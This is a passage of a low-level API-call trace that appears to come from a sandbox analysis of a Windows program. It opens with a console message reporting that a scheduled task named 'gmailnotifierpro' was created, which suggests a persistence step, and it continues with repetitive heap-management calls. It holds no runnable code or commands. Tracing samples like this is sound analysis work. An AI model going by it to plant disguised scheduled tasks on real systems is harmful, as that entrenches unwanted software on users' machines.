(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierpro\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"gmailnotifierpro\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0109.230] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 78 [0109.230] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0109.230] IUnknown:Release (This=0x208f9566fd0) returned 0x0 [0109.230] TaskScheduler:IUnknown:Release (This=0x208f9565900) returned 0x0 [0109.230] TaskScheduler:IUnknown:Release (This=0x208f9565880) returned 0x0 [0109.230] TaskScheduler:IUnknown:Release (This=0x208f9565700) returned 0x0 [0109.231] lstrlenW (lpString="") returned 0 [0109.231] GetProcessHeap () returned 0x208f92d0000 [0109.231] GetProcessHeap () returned 0x208f92d0000 [0109.231] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dac80) returned 1 [0109.231] GetProcessHeap () returned 0x208f92d0000 [0109.231] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dac80) returned 0x1fc [0109.232] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dac80) returned 1 [0109.235] GetProcessHeap () returned 0x208f92d0000 [0109.235] GetProcessHeap () returned 0x208f92d0000 [0109.235] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da980) returned 1 [0109.235] GetProcessHeap () returned 0x208f92d0000 [0109.235] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da980) returned 0x16 [0109.235] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da980) returned 1 [0109.235] GetProcessHeap () returned 0x208f92d0000 [0109.235] GetProcessHeap () returned 0x208f92d0000 [0109.235] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dabe0) returned 1 [0109.236] GetProcessHeap () returned 0x208f92d0000 [0109.236] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dabe0) returned 0x18 [0109.236] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dabe0) returned 1 [0109.236] GetProcessHeap () returned 0x208f92d0000 [0109.236] GetProcessHeap () returned 0x208f92d0000 [0109.236] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db890) returned 1 [0109.236] GetProcessHeap () returned 0x208f92d0000 [0109.236] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db890) returned 0x20 [0109.236] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db890) returned 1 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3870) returned 1 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3870) returned 0xa0 [0109.237] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3870) returned 1 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d47f0) returned 1 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d47f0) returned 0x18 [0109.237] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d47f0) returned 1 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] GetProcessHeap () returned 0x208f92d0000 [0109.237] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db800) returned 1 [0109.238] GetProcessHeap () returned 0x208f92d0000 [0109.238] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db800) returned 0x20 [0109.238] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db800) returned 1 [0109.238] GetProcessHeap () returned 0x208f92d0000 [0109.238] GetProcessHeap () returned 0x208f92d0000 [0109.238] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4290) returned 1 [0109.239] GetProcessHeap () returned 0x208f92d0000 [0109.239] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4290) returned 0x4a [0109.239] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4290) returned 1 [0109.239] GetProcessHeap () returned 0x208f92d0000 [0109.239] GetProcessHeap () returned 0x208f92d0000 [0109.240] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dac00) returned 1 [0109.240] GetProcessHeap () returned 0x208f92d0000 [0109.240] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dac00) returned 0x18 [0109.240] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dac00) returned 1 [0109.240] GetProcessHeap () returned 0x208f92d0000 [0109.240] GetProcessHeap () returned 0x208f92d0000 [0109.240] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db830) returned 1 [0109.240] GetProcessHeap () returned 0x208f92d0000 [0109.240] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db830) returned 0x20 [0109.241] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db830) returned 1 [0109.241] GetProcessHeap () returned 0x208f92d0000 [0109.241] GetProcessHeap () returned 0x208f92d0000 [0109.241] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3b40) returned 1 [0109.241] GetProcessHeap () returned 0x208f92d0000 [0109.241] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3b40) returned 0x4c [0109.242] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3b40) returned 1 [0109.242] GetProcessHeap () returned 0x208f92d0000 [0109.242] GetProcessHeap () returned 0x208f92d0000 [0109.243] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daa40) returned 1 [0109.243] GetProcessHeap () returned 0x208f92d0000 [0109.243] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daa40) returned 0x18 [0109.243] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daa40) returned 1 [0109.243] GetProcessHeap () returned 0x208f92d0000 [0109.243] GetProcessHeap () returned 0x208f92d0000 [0109.243] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9110) returned 1 [0109.243] GetProcessHeap () returned 0x208f92d0000 [0109.243] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9110) returned 0x20 [0109.244] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9110) returned 1 [0109.244] GetProcessHeap () returned 0x208f92d0000 [0109.244] GetProcessHeap () returned 0x208f92d0000 [0109.244] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4310) returned 1 [0109.244] GetProcessHeap () returned 0x208f92d0000 [0109.244] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4310) returned 0xe [0109.244] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4310) returned 1 [0109.244] GetProcessHeap () returned 0x208f92d0000 [0109.245] GetProcessHeap () returned 0x208f92d0000 [0109.245] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d42f0) returned 1 [0109.245] GetProcessHeap () returned 0x208f92d0000 [0109.245] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d42f0) returned 0x18 [0109.245] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d42f0) returned 1 [0109.245] GetProcessHeap () returned 0x208f92d0000 [0109.245] GetProcessHeap () returned 0x208f92d0000 [0109.245] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d90b0) returned 1 [0109.245] GetProcessHeap () returned 0x208f92d0000 [0109.245] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d90b0) returned 0x20 [0109.246] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d90b0) returned 1 [0109.246] GetProcessHeap () returned 0x208f92d0000 [0109.256] GetProcessHeap () returned 0x208f92d0000 [0109.256] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9b10) returned 1 [0109.256] GetProcessHeap () returned 0x208f92d0000 [0109.256] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9b10) returned 0x208 [0109.257] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9b10) returned 1 [0109.257] GetProcessHeap () returned 0x208f92d0000 [0109.257] GetProcessHeap () returned 0x208f92d0000 [0109.257] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d47d0) returned 1 [0109.257] GetProcessHeap () returned 0x208f92d0000 [0109.257] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d47d0) returned 0x18 [0109.257] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d47d0) returned 1 [0109.257] GetProcessHeap () returned 0x208f92d0000 [0109.258] GetProcessHeap () returned 0x208f92d0000 [0109.258] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9080) returned 1 [0109.258] GetProcessHeap () returned 0x208f92d0000 [0109.258] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9080) returned 0x20 [0109.258] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9080) returned 1 [0109.259] GetProcessHeap () returned 0x208f92d0000 [0109.259] GetProcessHeap () returned 0x208f92d0000 [0109.259] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dbb40) returned 1 [0109.259] GetProcessHeap () returned 0x208f92d0000 [0109.259] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dbb40) returned 0x200 [0109.259] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dbb40) returned 1 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4810) returned 1 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4810) returned 0x18 [0109.260] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4810) returned 1 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8e70) returned 1 [0109.260] GetProcessHeap () returned 0x208f92d0000 [0109.260] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8e70) returned 0x20 [0109.261] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8e70) returned 1 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.261] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3f50) returned 1 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.261] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3f50) returned 0x14 [0109.261] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3f50) returned 1 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.261] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3f30) returned 1 [0109.261] GetProcessHeap () returned 0x208f92d0000 [0109.262] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3f30) returned 0x18 [0109.262] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3f30) returned 1 [0109.262] GetProcessHeap () returned 0x208f92d0000 [0109.262] GetProcessHeap () returned 0x208f92d0000 [0109.262] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d8f30) returned 1 [0109.267] GetProcessHeap () returned 0x208f92d0000 [0109.267] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d8f30) returned 0x20 [0109.267] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d8f30) returned 1 [0109.267] GetProcessHeap () returned 0x208f92d0000 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4260) returned 1 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4260) returned 0x16 [0109.268] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4260) returned 1 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3ef0) returned 1 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3ef0) returned 0x18 [0109.268] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3ef0) returned 1 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d9170) returned 1 [0109.268] GetProcessHeap () returned 0x208f92d0000 [0109.268] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d9170) returned 0x20 [0109.269] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d9170) returned 1 [0109.269] GetProcessHeap () returned 0x208f92d0000 [0109.269] GetProcessHeap () returned 0x208f92d0000 [0109.269] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4a70) returned 1 [0109.269] GetProcessHeap () returned 0x208f92d0000 [0109.269] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4a70) returned 0x2 [0109.270] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4a70) returned 1 [0109.270] GetProcessHeap () returned 0x208f92d0000 [0109.270] GetProcessHeap () returned 0x208f92d0000 [0109.270] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d43e0) returned 1 [0109.270] GetProcessHeap () returned 0x208f92d0000 [0109.270] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d43e0) returned 0x20 [0109.271] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d43e0) returned 1 [0109.271] GetProcessHeap () returned 0x208f92d0000 [0109.271] GetProcessHeap () returned 0x208f92d0000 [0109.271] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4430) returned 1 [0109.271] GetProcessHeap () returned 0x208f92d0000 [0109.271] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4430) returned 0x20 [0109.271] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4430) returned 1 [0109.271] GetProcessHeap () returned 0x208f92d0000 [0109.272] GetProcessHeap () returned 0x208f92d0000 [0109.272] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4460) returned 1 [0109.272] GetProcessHeap () returned 0x208f92d0000 [0109.272] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4460) returned 0x20 [0109.272] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4460) returned 1 [0109.272] GetProcessHeap () returned 0x208f92d0000 [0109.272] GetProcessHeap () returned 0x208f92d0000 [0109.272] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3fd0) returned 1 [0109.272] GetProcessHeap () returned 0x208f92d0000 [0109.273] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3fd0) returned 0x20 [0109.273] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3fd0) returned 1 [0109.273] GetProcessHeap () returned 0x208f92d0000 [0109.273] GetProcessHeap () returned 0x208f92d0000 [0109.273] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db8c0) returned 1 [0109.273] GetProcessHeap () returned 0x208f92d0000 [0109.273] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db8c0) returned 0x20 [0109.273] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db8c0) returned 1 [0109.273] GetProcessHeap () returned 0x208f92d0000 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da940) returned 1 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da940) returned 0xc [0109.274] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da940) returned 1 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db860) returned 1 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db860) returned 0x20 [0109.274] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db860) returned 1 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3920) returned 1 [0109.274] GetProcessHeap () returned 0x208f92d0000 [0109.274] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3920) returned 0x30 [0109.275] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3920) returned 1 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db980) returned 1 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db980) returned 0x20 [0109.275] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db980) returned 1 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4330) returned 1 [0109.275] GetProcessHeap () returned 0x208f92d0000 [0109.275] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4330) returned 0x30 [0109.276] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4330) returned 1 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db8f0) returned 1 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db8f0) returned 0x20 [0109.276] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db8f0) returned 1 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da9e0) returned 1 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da9e0) returned 0x16 [0109.276] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da9e0) returned 1 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.276] GetProcessHeap () returned 0x208f92d0000 [0109.277] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dba70) returned 1 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dba70) returned 0x20 [0109.277] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dba70) returned 1 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dabc0) returned 1 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dabc0) returned 0x16 [0109.277] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dabc0) returned 1 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db920) returned 1 [0109.277] GetProcessHeap () returned 0x208f92d0000 [0109.277] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db920) returned 0x20 [0109.278] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db920) returned 1 [0109.286] GetProcessHeap () returned 0x208f92d0000 [0109.286] GetProcessHeap () returned 0x208f92d0000 [0109.286] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92f5920) returned 1 [0109.286] GetProcessHeap () returned 0x208f92d0000 [0109.286] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92f5920) returned 0x82 [0109.287] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92f5920) returned 1 [0109.287] GetProcessHeap () returned 0x208f92d0000 [0109.287] GetProcessHeap () returned 0x208f92d0000 [0109.287] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db950) returned 1 [0109.287] GetProcessHeap () returned 0x208f92d0000 [0109.287] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db950) returned 0x20 [0109.287] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db950) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daa80) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daa80) returned 0xe [0109.288] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daa80) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db9b0) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db9b0) returned 0x20 [0109.288] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db9b0) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daaa0) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.288] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daaa0) returned 0xc [0109.288] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daaa0) returned 1 [0109.288] GetProcessHeap () returned 0x208f92d0000 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db4d0) returned 1 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db4d0) returned 0x20 [0109.289] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db4d0) returned 1 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92da960) returned 1 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92da960) returned 0xe [0109.289] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92da960) returned 1 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db740) returned 1 [0109.289] GetProcessHeap () returned 0x208f92d0000 [0109.289] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db740) returned 0x20 [0109.290] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db740) returned 1 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daba0) returned 1 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daba0) returned 0x10 [0109.290] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daba0) returned 1 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db9e0) returned 1 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db9e0) returned 0x20 [0109.290] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db9e0) returned 1 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.290] GetProcessHeap () returned 0x208f92d0000 [0109.291] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4410) returned 1 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4410) returned 0x18 [0109.291] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4410) returned 1 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] GetProcessHeap () returned 0x208f92d0000 [0109.291] 